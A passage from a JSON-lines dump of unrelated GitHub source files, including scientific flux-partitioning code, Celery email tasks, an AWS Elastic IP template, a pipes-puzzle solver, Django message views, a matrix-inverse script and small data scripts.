wcwq < scsq * corr_qc)):\n # co2soln_id = 0 # minus root\n # if corr_qc < 0:\n # if wcwq * corr_qc < scsq < wcwq / corr_qc:\n # co2soln_id = 1 if scsq <= corr_qc * wue else 0\n\n co2soln_id = 0 # minus root\n if corr_qc < 0 and sd_c / sd_q < corr_qc * wue:\n co2soln_id = 1 # plus root\n\n # if co2soln_id in (0, 1):\n if 1:\n valid_root = True\n mssg = \"\"\n\n numer = -2 * corr_qc * sd_c * sd_q * wq * wc\n numer += var_c * wq ** 2 + var_q * wc ** 2\n numer *= -(corr_qc ** 2 - 1) * var_c * var_q * wue ** 2\n denom = -corr_qc * sd_c * sd_q * (wc + wq * wue)\n denom += var_c * wq + var_q * wc * wue\n denom = denom ** 2\n\n var_cp = numer / denom\n\n numer = -(corr_qc ** 2 - 1) * var_c * var_q * (wc - wq * wue) ** 2\n denom = -2 * corr_qc * sd_c * sd_q * wc * wq\n denom += var_c * wq ** 2 + var_q * wc ** 2\n denom *= -2 * corr_qc * sd_c * sd_q * wue + var_c + var_q * wue ** 2\n\n rho_sq = numer / denom\n corr_cp_cr = -math.sqrt(rho_sq)\n\n wcr_ov_wcp = flux_ratio(\n var_cp, corr_cp_cr, wqc_data, \"co2\", co2soln_id\n )\n sig_cr = wcr_ov_wcp * math.sqrt(var_cp) / corr_cp_cr\n\n return RootSoln(\n corr_cp_cr=corr_cp_cr,\n var_cp=var_cp,\n sig_cr=sig_cr,\n co2soln_id=co2soln_id,\n valid_root=valid_root,\n )\n\n\ndef flux_ratio(var_cp, corr_cp_cr, wqc_data, ftype, farg):\n \"\"\"Compute the nonstomatal:stomatal ratio of the H2O or CO2 flux.\n\n The ratio (either wqe/wqt or wcr/wcp) is found by solving Eq. 13\n of [SS08]_.\n\n Parameters\n ---------\n wqc_data : namedtuple or equivalent namespace\n :class:`~fluxpart.containers.WQCData`\n ftype : {'co2', 'h2o'}\n Specifies whether the flux is CO2 or H2O\n farg : number\n If `ftype` = 'co2', then `farg` = {0 or 1} specifies the root\n of Eq. 13b to be used to calculate the CO2 flux ratio wcr/wcp:\n `farg`=1 uses the '+' solution, `farg`=0 uses the '-' solution.\n If `ftype` = 'h2o', then `farg` is a float equal to the water\n use efficiency (wue < 0), kg/kg.\n\n Returns\n -------\n fratio : float or np.nan\n The requested flux ratio, wqe/wqt or wcr/wcp. Set to np.nan\n if solution is not real.\n\n Notes\n -----\n When solving for wqe/wqt, the '-' solution of the quadratic Eq. 13a\n is not relevant because only the '+' solution yields wqe/wqt > 0,\n which is required/assumed by the physical model in [SS08]_.\n\n \"\"\"\n if ftype.lower() == \"co2\":\n sign = 1 if farg == 1 else -1\n num = wqc_data.var_c\n else: # is \"h2o\"\n sign = 1\n num = farg ** 2 * wqc_data.var_q\n disc = 1 - 1 / corr_cp_cr ** 2 + num / var_cp / corr_cp_cr ** 2\n if disc < 0:\n fratio = np.nan\n else:\n fratio = corr_cp_cr ** 2 * (sign * math.sqrt(disc) - 1)\n return fratio\n\n\ndef _mass_fluxes(var_cp, corr_cp_cr, wqc_data, wue, co2soln_id):\n \"\"\"Calculate flux components for given (var_cp, corr_cp_cr) pair.\"\"\"\n wqe_ov_wqt = flux_ratio(var_cp, corr_cp_cr, wqc_data, \"h2o\", wue)\n wqt = wqc_data.wq / (wqe_ov_wqt + 1)\n wcp = wqt * wue\n wcr = wqc_data.wc - wcp\n wqe = wqc_data.wq - wqt\n return MassFluxes(\n Fq=wqc_data.wq, Fqt=wqt, Fqe=wqe, Fc=wqc_data.wc, Fcp=wcp, Fcr=wcr\n )\n\n\ndef _check_fvsp_assumptions(qcdat, wue):\n pqc = qcdat.corr_qc\n wcwq = qcdat.wc / qcdat.wq\n scsq = np.sqrt(qcdat.var_c / qcdat.var_q)\n mssg = \"\"\n if wue > wcwq:\n mssg += \"wue>Fc/Fq; \".format(wue, wcwq)\n if wcwq >= pqc * scsq:\n m = \"Fc/Fq>=pqc*sigc/sigq; \"\n mssg += m.format(wcwq, scsq * pqc)\n if pqc < 0 and wcwq < scsq / pqc:\n m = \"Fc/Fq<sigc/sigq/pqc; \"\n mssg += m.format(wcwq, scsq / pqc)\n if math.isclose(pqc, 0, abs_tol=1e-15):\n mssg += \"pqc=0;\".format(pqc)\n if mssg:\n # vals = \"(Fc/Fq={:.4}; sigc/sigq={:.4}; W={:.4}; pqc={:.4})\"\n # vals = vals.format(wcwq, scsq, wue, pqc)\n raise FVSError(mssg) # + vals)\n\n\ndef _isvalid_partition(flux_components):\n \"\"\"Test if partitioned flux directions (signs) are valid.\"\"\"\n fc = flux_components\n isvalid = True\n mssg = \"\"\n if fc.Fqt <= 0:\n isvalid = False\n mssg += \"Fqt <= 0; \"\n if fc.Fqe <= 0:\n isvalid = False\n mssg += \"Fqe <= 0; \"\n if fc.Fcp >= 0:\n isvalid = False\n mssg += \"Fcp >= 0; \"\n if fc.Fcr <= 0:\n isvalid = False\n mssg += \"Fcr <= 0; \"\n return isvalid, mssg or \"OK\"\n\n\ndef _adjust_fluxes(flux_components, wue, Fq_tot, Fc_tot):\n \"\"\"Adjust partitioned fluxes so they match measured totals.\n\n If filtering has been applied to the series data, covariances in\n the filtered data may differ from those in the original data.\n Consequently, partitioned flux totals may not match exactly the\n total fluxes indicated by the original data. Here, partitioned\n fluxes are adjusted proportionally so that they match the totals in\n the original data.\n\n Parameters\n ----------\n flux_components : namedtuple or equivalent\n Attributes (floats) specify the mass flux components (Fq, Fqe,\n Fq, Fc, Fcr, Fcp), kg/m^2/s.\n wue : float\n Leaf-level water use efficiency (`wue` < 0), kg CO2 / kg H2O\n Fq_tot, Fc_tot : float\n Desired net total H2O (`Fq_tot`) and CO2 (`Fc_tot`) fluxes,\n kg/m^2/s.\n\n Returns\n -------\n namedtuple\n :class:`~fluxpart.containers.MassFluxes`\n\n \"\"\"\n fc = flux_components\n Fq_diff = Fq_tot - (fc.Fqe + fc.Fqt)\n Fqe = fc.Fqe + Fq_diff * (fc.Fqe / (fc.Fqt + fc.Fqe))\n Fqt = Fq_tot - Fqe\n Fcp = wue * Fqt\n Fcr = Fc_tot - Fcp\n return MassFluxes(Fq=Fq_tot, Fqt=Fqt, Fqe=Fqe, Fc=Fc_tot, Fcp=Fcp, Fcr=Fcr)\n\n\ndef _progressive_lowcut(wind, vapor, co2):\n \"\"\"Apply progressive lowcut filter to wind, vapor, and CO2 series.\n\n Use wavelet decomposition to yield a sequence of (w, q, c) series\n in which low frequency (large scale) components are progressively\n removed from w, q, c.\n\n Parameters\n ----------\n wind,vapor,co2 : array-like\n 1D time series of vertical wind velocity (w), water vapor\n concentration (q), and carbon dioxide concentration (c).\n\n Yields\n ------\n (lc_w, lc_q, lc_c) : tuple of arrays\n Arrays lc_w, lc_q, and lc_c are low cut (high pass) filtered\n versions of the passed w,q,c series.\n\n Notes\n -----\n Before the filter is applied, the data are truncated so that the\n length is a power of 2.\n\n \"\"\"\n max_pow2_len = 2 ** int(np.log2(np.asarray(co2).shape[0]))\n trunc_w = np.asarray(wind)[:max_pow2_len]\n trunc_q = np.asarray(vapor)[:max_pow2_len]\n trunc_c = np.asarray(co2)[:max_pow2_len]\n lowcut_w = util.progressive_lowcut_series(trunc_w)\n lowcut_q = util.progressive_lowcut_series(trunc_q)\n lowcut_c = util.progressive_lowcut_series(trunc_c)\n for lowcut_series in zip(lowcut_w, lowcut_q, lowcut_c):\n yield lowcut_series\n","repo_name":"usda-ars-ussl/fluxpart","sub_path":"fluxpart/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":13101,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"32307272035","text":"import json\nimport logging\nimport os\n\nfrom celery.schedules import crontab\nfrom flask import Flask\nfrom flask_mail import Mail, Message\n\nfrom leopard_lavatory.celery.celery_factory import make_celery\nfrom leopard_lavatory.emailer import create_email_bodies\nfrom leopard_lavatory.readers.sthlm_sbk import SBKReader\nfrom leopard_lavatory.storage.database import get_all_watchjobs, get_watchjob, database_session\n\nLOG = logging.getLogger(__name__)\n\n# TODO separate email tasks in separate file\nflask_app = Flask(__name__)\nflask_app.config.update(\n CELERY_BROKER_URL='redis://localhost:6379',\n CELERY_RESULT_BACKEND='redis://localhost:6379',\n MAIL_SERVER=os.environ.get('FLASK_MAIL_SERVER'),\n MAIL_PORT=587,\n MAIL_DEBUG=True,\n MAIL_USE_TLS=True,\n MAIL_USE_SSL=False,\n MAIL_USERNAME=os.environ.get('FLASK_MAIL_USERNAME'),\n MAIL_PASSWORD=os.environ.get('FLASK_MAIL_PASSWORD'),\n MAIL_DEFAULT_SENDER=os.environ.get('FLASK_MAIL_DEFAULT_SENDER'),\n)\ncelery = make_celery(flask_app)\n\nmail = Mail(flask_app)\n\nmail.debug = True\n\n\n@celery.on_after_configure.connect\ndef setup_periodic_task(sender, **kwargs):\n sender.add_periodic_task(\n # by default, run jobs once an hour, every day between 8 in the morning and 8 in the evening\n crontab(hour=os.environ.get('CELERY_CRONTAB_HOURS', '8-20'), minute='0'),\n run_all_watchjobs.s(),\n name=\"Run watchjobs\")\n\n\n@celery.task\ndef run_all_watchjobs():\n with database_session() as dbs:\n LOG.info('Running all watch jobs...')\n watchjobs = get_all_watchjobs(dbs)\n for watchjob in watchjobs:\n LOG.debug(watchjob)\n\n (check_watchjob.s(watchjob.id, watchjob.query, watchjob.last_case_id) | notify_users.s(watchjob.id)). \\\n apply_async()\n\n\n@celery.task\ndef check_watchjob(watchjob_id, query_json, last_case_id):\n with database_session() as dbs:\n reader = SBKReader()\n\n try:\n query = json.loads(query_json)\n except ValueError:\n # JSON parsing error, just return nothing\n LOG.exception('Error parsing query JSON')\n return []\n\n if 'street' in query:\n address = query['street']\n newer_than_case = last_case_id\n\n LOG.debug('Getting all results for address {}, newer than case {}'.format(address, newer_than_case))\n new_cases = reader.get_cases(address, newer_than_case)\n\n LOG.debug('Found {} results'.format(len(new_cases)))\n # LOG.debug(json.dumps(new_cases, indent=2, ensure_ascii=False))\n\n if len(new_cases):\n new_last_case_id = new_cases[0]['id']\n\n watchjob = get_watchjob(dbs, watchjob_id)\n\n LOG.debug('The new last_case_id is {}, write it to the database'.format(new_last_case_id))\n\n watchjob.last_case_id = new_last_case_id\n else:\n LOG.debug('No new cases found.')\n\n return new_cases\n else:\n return []\n\n\n@celery.task\ndef notify_users(new_cases, watchjob_id):\n with database_session() as dbs:\n if new_cases:\n LOG.debug('There\\'s new cases, get the users for watch job %s and notify them!', watchjob_id)\n\n watchjob = get_watchjob(dbs, watchjob_id)\n\n # TODO send actual emails\n LOG.debug('Sending notifications to %s', [user.email for user in watchjob.users])\n else:\n LOG.debug('Nothing to do.')\n\n return len(new_cases)\n\n\n@celery.task\ndef send_confirm_email(email_address, confirm_link, address):\n text_body, html_body = create_email_bodies('activation', {'button_href': confirm_link, 'address': address})\n msg = Message(\"Bekräfta bevakning av byggärende\", recipients=[os.environ['FLASK_MAIL_RECIPIENT']])\n msg.body = text_body\n msg.html = html_body\n\n mail.send(msg)\n\n\n@celery.task\ndef send_welcome_email(email_address, delete_link):\n text_body, html_body = create_email_bodies('welcome', {'button_href': delete_link})\n msg = Message(\"Välkommen!\", recipients=[os.environ['FLASK_MAIL_RECIPIENT']])\n msg.body = text_body\n msg.html = html_body\n\n mail.send(msg)\n\n","repo_name":"sheep7/leopard-lavatory","sub_path":"leopard_lavatory/celery/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40582771964","text":"from paco import utils\nfrom paco.cftemplates.cftemplates import StackTemplate\nimport troposphere\nimport troposphere.ec2\n\n\nclass EIP(StackTemplate):\n def __init__(self, stack, paco_ctx,):\n eip_config = stack.resource\n config_ref = eip_config.paco_ref_parts\n super().__init__(stack, paco_ctx)\n self.set_aws_name('EIP', self.resource_group_name, self.resource.name)\n\n # Troposphere Template Initialization\n self.init_template('Elastic IP')\n if not eip_config.is_enabled():\n return\n\n template = self.template\n eip_res = troposphere.ec2.EIP(\n title='ElasticIP',\n template=template,\n Domain='vpc'\n )\n\n # Outputs\n self.create_output(\n title='ElasticIPAddress',\n description=\"The Elastic IP Address.\",\n value=troposphere.Ref(eip_res),\n ref=config_ref + \".address\",\n )\n self.create_output(\n title='ElasticIPAllocationId',\n description=\"The Elastic IPs allocation id.\",\n value=troposphere.GetAtt(eip_res, 'AllocationId'),\n ref=config_ref + \".allocation_id\"\n )\n\n if self.paco_ctx.legacy_flag('route53_record_set_2019_10_16') == True:\n if eip_config.is_dns_enabled():\n for dns_config in eip_config.dns:\n dns_hash = utils.md5sum(str_data=dns_config.domain_name)\n zone_param_name = 'DomainHostedZoneId' + dns_hash\n dns_zone_id_param = self.create_cfn_parameter(\n param_type='String',\n name=zone_param_name,\n description='Domain Alias Hosted Zone Id',\n value=dns_config.hosted_zone+'.id',\n )\n troposphere.route53.RecordSetType(\n title = self.create_cfn_logical_id_join(['RecordSet', dns_hash]),\n template = template,\n HostedZoneId = troposphere.Ref(dns_zone_id_param),\n Name = dns_config.domain_name,\n Type = 'A',\n TTL = 300,\n ResourceRecords = [ troposphere.Ref(eip_res)]\n )\n\n if self.paco_ctx.legacy_flag('route53_record_set_2019_10_16') == False:\n route53_ctl = self.paco_ctx.get_controller('route53')\n if eip_config.is_dns_enabled() == True and eip_config.is_enabled() == True:\n for dns_config in eip_config.dns:\n route53_ctl.add_record_set(\n self.account_ctx,\n self.aws_region,\n eip_config,\n enabled=eip_config.is_enabled(),\n dns=dns_config,\n record_set_type='A',\n resource_records=['paco.ref ' + config_ref + '.address'],\n stack_group=self.stack.stack_group,\n async_stack_provision=True,\n config_ref=eip_config.paco_ref_parts + '.dns'\n )\n","repo_name":"waterbear-cloud/paco","sub_path":"src/paco/cftemplates/eip.py","file_name":"eip.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"37"} +{"seq_id":"30620281574","text":"\"\"\"Transform a UML model into a OWL ontology.\"\"\"\nimport sys\nfrom odm2owl.ODMModel import ODMModel\nfrom odm2owl.OWLSinkXSLT import OWLSinkXSLT\n\niri = ODMModel.ns['base']\nprofilePath = \"profiles/ODM1.xmi\"\ntemplatePath = \"src/templates/RDF.xslt\"\n\ntry:\n if len(sys.argv) != 3:\n raise Exception(\"Expected 2 arguments: input file and output file\")\n\n modelPath = sys.argv[1]\n savePath = sys.argv[2]\n\n if \".xmi\" in modelPath:\n from odm2owl.ODMSourceXMI import ODMSourceXMI\n model = ODMSourceXMI().loadModel(iri, modelPath, profilePath)\n elif \".zargo\" in modelPath:\n from zargo.ZargoSource import ZargoSource\n model = ZargoSource().loadModel(iri, modelPath, profilePath)\n else:\n raise Exception(\"Unknown input file format.\")\n\n sink = OWLSinkXSLT(templatePath)\n owl = sink.transform(model)\n sink.save(savePath)\n\nexcept Exception as e:\n print(e)\n","repo_name":"alvarosaurus/UML-ODM-to-OWL-XML","sub_path":"src/odm2owl.py","file_name":"odm2owl.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"36464882395","text":"#\n# * Core 155. Pipes Game\n\n# Carlos always loved playing video games, especially the well-known computer game \n# \"Pipes\". Today he finally decided to write his own version of the legendary game \n# from scratch.\n\n# In this game the player has to place the pipes on a rectangular field to make \n# water pour from each source to a respective sink. He has already come up with \n# the entire program, but one question still bugs him: how can he best check that \n# the arrangement of pipes is correct?\n\n# It's your job to help him figure out exactly that.\n\n# Carlos has 7 types of pipes in his game, with numbers corresponding to each type:\n\n# 1 - vertical pipe\n# 2 - horizontal pipe\n# 3-6 - corner pipes\n# 7 - two pipes crossed in the same cell (note that these pipes are not connected)\n\n# Here they are, pipes 1 to 7, respectively:\n\n# Water pours from each source in each direction that has a pipe connected to it \n# (thus it can even pour in all four directions). The puzzle is solved correctly \n# only if all water poured from each source eventually reaches a corresponding \n# sink.\n\n# Help Carlos check whether the arrangement of pipes is correct. If it is correct, \n# return the number of cells with pipes that will be full of water at the end of \n# the game. If not, return -X, where X is the number of cells with water before \n# the first leakage point is reached, or if the first drop of water reaches an \n# incorrect destination (whichever comes first). Assume that water moves from one \n# cell to another at the same speed.\n\n# Example\n\n# For\n\n# state = [\"a224C22300000\",\n# \"0001643722B00\",\n# \"0b27275100000\",\n# \"00c7256500000\",\n# \"0006A45000000\"]\n\n# the output should be pipesGame(state) = 19.\n\n# Here is how the game will end:\n\n# Input/Output\n\n# [execution time limit] 4 seconds (py3)\n\n# [input] array.string state\n\n# Array of strings of an equal length representing some state of the game. \n# The pipes are represented by the numbers '1' to '7', the sources are given \n# as lowercase English letters, and the corresponding sinks are marked by \n# uppercase letters. Empty cells are marked with '0'.\n\n# It is guaranteed that each letter from the English alphabet either is not \n# present in state, or appears there twice (in uppercase and lowercase).\n\n# Guaranteed constraints:\n# 1 ≤ state.length ≤ 100,\n# 1 ≤ state[i].length ≤ 100,\n# state[i][j] ∈ {0-7, a-z, A-Z}.\n\n# [output] integer\n\n# If the pipe arrangement is correct, return the number of cells with pipes \n# that will be filled with water at the end of the game. If not, return -X, \n# where X is the number of cells with water before the first leakage point \n# is reached, or if the first drop of water reaches an incorrect destination.\n\n#%%\n\n# * Solution 1\ndef pipesGame(state: list) -> int:\n n = len(state)\n m = len(state[0])\n # print('n, m: ', n, m)\n\n starts = {}\n ends = {}\n\n # * find starting and ending points\n for i in range(n):\n for j in range(m):\n c = state[i][j]\n if 96 < ord(c) < 123:\n starts[c] = (i, j)\n elif 64 < ord(c) < 91:\n ends[c] = (i, j)\n\n # print(starts)\n # print(ends)\n\n # * Directions:\n # * 1: up\n # * 2: right\n # * 3: down\n # * 4: left\n\n go = {\n 1: (-1, 0),\n 2: (0, 1),\n 3: (1, 0),\n 4: (0, -1)\n }\n\n # * Pipe\n # * {pipe # : \n # * {in1 : out1, \n # * in2 : out2}\n # * }\n pipes = {\n '1': {3: 3, 1: 1},\n '2': {2: 2, 4: 4},\n '3': {1: 2, 4: 3},\n '4': {2: 3, 1: 4},\n '5': {2: 1, 3: 4},\n '6': {3: 2, 4: 1},\n '7': {1: 1, 2: 2, 3: 3, 4: 4}\n }\n\n\n\n # * define a function to check \n def check(row: int, col: int, direction: int, source: str, steps: int) -> (bool, int):\n newRow = row + go[direction][0]\n newCol = col + go[direction][1]\n # print(newRow, newCol, direction, source, steps)\n\n # * base case 1: next pipe is out of range\n if newRow > n-1 or newRow < 0 or newCol > m-1 or newCol < 0:\n return (False, steps)\n # * base case 2: find correct sink\n if state[newRow][newCol] == source.upper():\n return (True, steps)\n # * base case 3: find wrong sink or other source\n if state[newRow][newCol].isalpha():\n return (False, steps)\n \n # * get next pipe\n newPipe = state[newRow][newCol]\n # print('newPipe', newPipe)\n # * base case 4: no pipe\n if newPipe == '0':\n return (False, steps)\n # * base case 5: wrong pipe (no connect to this one)\n if direction not in pipes[newPipe]:\n return (False, steps)\n\n\n newDirection = pipes[newPipe][direction]\n # print('newDirection', newDirection)\n return check(newRow, newCol, newDirection, source, steps+1)\n\n # print(check(2, 1, 2, 'b', 0))\n\n # * A collection of all directions of all sources\n results = {}\n\n # * is whole puzzle correct?\n isCorrect = True\n \n for source in starts.keys():\n result = {}\n # print('start location:', starts[key])\n for d in range(1,5):\n # print(check(starts[key][0], starts[key][1], d, key, 0))\n result[d] = check(starts[source][0], starts[source][1], d, source, 0)\n if result[d][0] == False and result[d][1] > 0:\n isCorrect = False\n \n results[source] = result\n\n # print(results)\n # print(isCorrect)\n\n\n # * For counting watered cell number, if whole puzzle is correct\n waterCovery = [[0]*m for _ in range(n)]\n\n # TODO: define a function extend alone pipe from source to end\n def extend(row: int, col: int, direction: int, steps: int)-> None:\n # * base case 1: no more extension\n if steps == 0:\n return\n\n # * next pipe\n newRow = row + go[direction][0]\n newCol = col + go[direction][1]\n # print(newRow, newCol, direction, source, steps)\n\n # * base case 2: next pipe is out of range\n # if newRow > n-1 or newRow < 0 or newCol > m-1 or newCol < 0:\n # return\n # * base case 3: find correct sink, stop and no mark\n if state[newRow][newCol] == source.upper():\n return\n \n\n # * mark next cell/pipe is watered\n waterCovery[newRow][newCol] = 1\n\n # * get next pipe to get next direction\n newPipe = state[newRow][newCol]\n # print('newPipe', newPipe)\n newDirection = pipes[newPipe][direction]\n # print('newDirection', newDirection)\n\n return extend(newRow, newCol, newDirection, steps-1)\n\n # * test source b at (2,1)\n # print('waterCovery start:', waterCovery)\n # extend(2, 1, 2, 9)\n # print('waterCovery after:', waterCovery)\n\n\n # * if whole puzzle is correct, count the number of cells full of water\n if isCorrect:\n pass\n for source in starts.keys():\n # print(source)\n result = results[source]\n for direction in range(1,5):\n if result[direction][0] == True:\n extend(starts[source][0], starts[source][1], direction, result[direction][1])\n\n # * if whole puzzle is wrong, count the number of cells full of water\n else:\n # * find minimum leakage step\n minLeakageStep = n*m\n for source in starts.keys():\n result = results[source]\n for direction in range(1,5):\n if result[direction][0] == False and 0 < result[direction][1] < minLeakageStep:\n minLeakageStep = result[direction][1]\n \n print(minLeakageStep)\n \n for source in starts.keys():\n result = results[source]\n for direction in range(1,5):\n if result[direction][1] > 0:\n extend(starts[source][0], starts[source][1], direction, minLeakageStep)\n\n\n\n \n # print('waterCovery after:', waterCovery)\n\n def countWateredCell() -> int:\n count = 0\n for i in range(n):\n count += sum(waterCovery[i])\n if isCorrect:\n return count\n else:\n return -count\n \n return countWateredCell()\n\n\ns1 = [\"a224C22300000\",\n \"0001643722B00\",\n \"0b27275100000\",\n \"01c7256500000\",\n \"0006A45000000\"]\nr1 = pipesGame(s1)\nprint(r1)\n\ns1 = [\"a224C22300000\",\n \"0001643722B00\",\n \"0b27275100000\",\n \"01c7256500000\",\n \"0006A45000000\"]\nr1 = pipesGame(s1)\nprint(r1)\n# %%\n","repo_name":"Vagacoder/Codesignal","sub_path":"python/Arcade/Core/C155PipesGame.py","file_name":"C155PipesGame.py","file_ext":"py","file_size_in_byte":8632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8439437508","text":"import json\nfrom django.db.models import Q\nfrom api.serializers.messages import MessageSerializer\nfrom rest_framework.views import APIView\nfrom rest_framework import permissions\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom api.models import *\nfrom .helpers import OK, BadRequestException, Deleted, NotFoundException, SerializerErrors, UnAuthorizedException\n\nclass MessagesSummary(APIView):\n permission_classes = [permissions.IsAuthenticated]\n\n def get(self, request):\n user = request.user\n msgs = Message.objects.filter(Q(sender=user)|Q(receiver=user)).order_by('-datetime')\n seen_contacts = set()\n messages = []\n for msg in msgs:\n sender, receiver = msg.sender, msg.receiver\n if sender==user and receiver.id in seen_contacts:\n continue\n if receiver==user and sender.id in seen_contacts:\n continue\n messages.append(msg)\n seen_contacts.add(receiver.id if sender==user else sender.id)\n return OK(MessageSerializer(messages, many=True).data)\n\n\nclass Messages(APIView):\n permission_classes = [permissions.IsAuthenticated]\n\n def get(self, request):\n user = request.user\n contact_id = request.GET.get(\"contact\")\n if contact_id:\n try:\n contact = User.objects.get(id=contact_id)\n except User.DoesNotExist:\n return NotFoundException(\"User\", contact_id)\n messages = Message.objects.filter(\n sender__in=[user, contact],\n receiver__in=[user, contact],\n )\n return OK(MessageSerializer(messages, many=True).data)\n return BadRequestException(\"Specify contact\")\n \n def post(self, request):\n sender = request.user\n try:\n body = json.loads(request.body)\n except Exception:\n return BadRequestException(\"Invalid body structure\")\n receiver_id = body.get(\"receiver\")\n try:\n receiver = User.objects.get(id=receiver_id)\n except Exception:\n return NotFoundException(\"User\", receiver_id)\n msg = Message(receiver=receiver, sender=sender)\n msg = MessageSerializer(msg, data=body)\n if msg.is_valid():\n msg.save()\n return OK(msg.data)\n return SerializerErrors(msg)\n\nclass MessagesSeen(APIView):\n permission_classes = [permissions.IsAuthenticated]\n\n def put(self, request):\n request.user.received_messages.filter(seen=False).update(seen=True)\n return OK(\"Marked as seen\")\n","repo_name":"John-Atha/heart-mobile-app","sub_path":"backend/api/views_/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72119528427","text":"def input_matrix():\n n = int(input(\"Masukkan ukuran matriks: \"))\n if n > 6:\n print(\"Maaf, ukuran matriks terlalu besar (maksimal 6x6).\")\n return None\n else:\n matrix = []\n for i in range(n):\n row = []\n for j in range(n):\n value = float(input(\"Masukkan nilai pada baris {} kolom {}: \".format(i+1, j+1)))\n row.append(value)\n matrix.append(row)\n return matrix\n\ndef det(matrix):\n n = len(matrix)\n if n == 1:\n return matrix[0][0]\n elif n == 2:\n return matrix[0][0]*matrix[1][1] - matrix[0][1]*matrix[1][0]\n else:\n result = 0\n for j in range(n):\n sign = (-1) ** j\n sub_matrix = []\n for i in range(1, n):\n row = []\n for k in range(n):\n if k != j:\n row.append(matrix[i][k])\n sub_matrix.append(row)\n sub_det = det(sub_matrix)\n result += sign * matrix[0][j] * sub_det\n return result\n\ndef transpose(matrix):\n n = len(matrix)\n transposed = []\n for i in range(n):\n row = []\n for j in range(n):\n row.append(matrix[j][i])\n transposed.append(row)\n return transposed\n\ndef cofactor(matrix):\n n = len(matrix)\n cofactored = []\n for i in range(n):\n row = []\n for j in range(n):\n sign = (-1) ** (i+j)\n sub_matrix = []\n for k in range(n):\n if k != i:\n sub_row = []\n for l in range(n):\n if l != j:\n sub_row.append(matrix[k][l])\n sub_matrix.append(sub_row)\n sub_det = det(sub_matrix)\n row.append(sign * sub_det)\n cofactored.append(row)\n return cofactored\n\ndef inverse(matrix):\n determinant = det(matrix)\n if determinant == 0:\n print(\"Matriks tidak memiliki invers.\")\n return None\n else:\n n = len(matrix)\n cofactors = cofactor(matrix)\n adjugate = transpose(cofactors)\n inverted = []\n for i in range(n):\n row = []\n for j in range(n):\n element = adjugate[i][j] / determinant\n row.append(round(element, 2))\n inverted.append(row)\n return inverted\n\nmatrix = input_matrix()\nif matrix is not None:\n print(\"Matriks yang dicari inversnya:\")\n for row in matrix:\n print(row)\n inverse_matrix = inverse(matrix)\n if inverse_matrix:\n print(\"Invers matriks:\")\n for row in inverse_matrix:\n print(row)\n","repo_name":"Yudhy-code-stranger/Matrix-Operations","sub_path":"Matriks-Invers.py","file_name":"Matriks-Invers.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8541463827","text":"import subprocess\nimport random\nn = 500 #Number of Iterations\nr = 50 #Number of reruns\ncsv = open(\"data/g19_lab09data.csv\", \"w\")\nfor i in range(n):\n\tfor j in range(r):\n\t\toutput = subprocess.Popen(['./mybins/cs296_19_exe', str(i+1)], stdout=subprocess.PIPE).communicate()[0].decode(encoding='UTF-8').split()\n\t\ttowrite = str(i+1)+','+str(j+1)+','+output[9]+','+output[16]+','+output[24]+','+output[32]+','+output[38]\n\t\tprint(towrite, file=csv)\n\ncsv.close()\n\ncsv = open(\"data/g19_lab09data.csv\", \"r\")\ncsv_random = open(\"data/g19_lab09data_random.csv\", \"w\")\ni = 0\niterations = 0\nfor line in csv:\n\tif i % r == 0:\n\t\titerations += 1\n\t\tto_pick = random.sample(range(r), 15)\n\t\t#print(iterations, \":\", to_pick)\n\tif (i - (iterations - 1) * r) in to_pick:\n\t\tprint(line.strip(), file=csv_random)\n\ti += 1\ncsv.close()\ncsv_random.close()\n","repo_name":"Abhinav2107/cs296","sub_path":"scripts/g19_gen_csv.py","file_name":"g19_gen_csv.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4340533706","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom app.api.train_model import train\nfrom app.api.db import metadata, database, engine\n\n\nmetadata.create_all(engine)\n\napp = FastAPI(openapi_url=\"/api/train/openapi.json\", docs_url=\"/api/train/docs\")\n\norigins = ['*']\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n@app.on_event(\"startup\")\nasync def startup():\n await database.connect()\n\n@app.on_event(\"shutdown\")\nasync def shutdown():\n await database.disconnect()\n\napp.include_router(train, prefix='/api/train', tags=['training ml model'])\n\n\n\n\n","repo_name":"PSUCompBio/ML-Training-v1","sub_path":"ml_train_service/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74588566186","text":"import json\nfrom matplotlib import pyplot as plt\nf = open(\"putuo.txt\",\"r\")\nposition = json.loads(f.read())\nf.close()\nf = open(\"position_class400.txt\",\"r\")\ncla = json.loads(f.read())\nf.close()\nnew_p = []\n\nfor i in range(len(position)):\n item = position[i]\n item['class'] = cla[i]\n new_p.append(item)\n\nf = open(\"position_with_class400.txt\",\"w\")\nf.write(json.dumps(new_p))\nf.close()","repo_name":"francis0407/ofo-data-analysis","sub_path":"spider/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28742320013","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\nimport lstm\nimport time\nimport matplotlib.pyplot as plt\nfrom keras.callbacks import ModelCheckpoint\n#from keras.models import load_model\n\ndef plot_results_multiple(predicted_data, true_data, prediction_len):\n 